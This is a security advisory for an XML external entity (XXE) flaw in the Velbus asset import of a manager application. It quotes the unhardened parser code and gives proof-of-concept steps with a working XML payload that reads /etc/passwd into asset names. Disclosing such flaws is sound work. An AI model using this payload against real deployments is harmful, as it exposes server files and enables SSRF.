Summary

The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.

Details

Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.

    @Override
    public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {

        return executorService.submit(() -> {
            Document xmlDoc;
            try {
                String xmlStr = new String(fileData, StandardCharsets.UTF_8);
                LOG.info("Parsing VELBUS project file");

                xmlDoc = DocumentBuilderFactory
                    .newInstance()
                    .newDocumentBuilder()
                    .parse(new InputSource(new StringReader(xmlStr)));

Expanded Caption content is propagated into created asset names:

                String name = module.getElementsByTagName("Caption").item(0).getTextContent();
                name = isNullOrEmpty(name) ? deviceType.toString() : name;

                // TODO: Use device specific asset types
                Asset<?> device = new ThingAsset(name);

PoC

1. Log in to a realm with a user that can call Velbus asset import.
2. Create/select a Velbus TCP Agent in that same realm.
3. Send POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file.
4. Save the below code as a xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
  <Module type="VMB1RY" address="01" build="00" serial="LAB">
    <Caption>&xxe;</Caption>
  </Module>
</Project>

As long as the file content is under 1023 characters, the exploit will succeed.

If the file content reaches the limit, an error is thrown.

Impact

• Type: XML External Entity (XXE)
• Affected: Deployments exposing Velbus import to authenticated users with import access
• Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.

References

• GHSA-g24f-mgc3-jwwc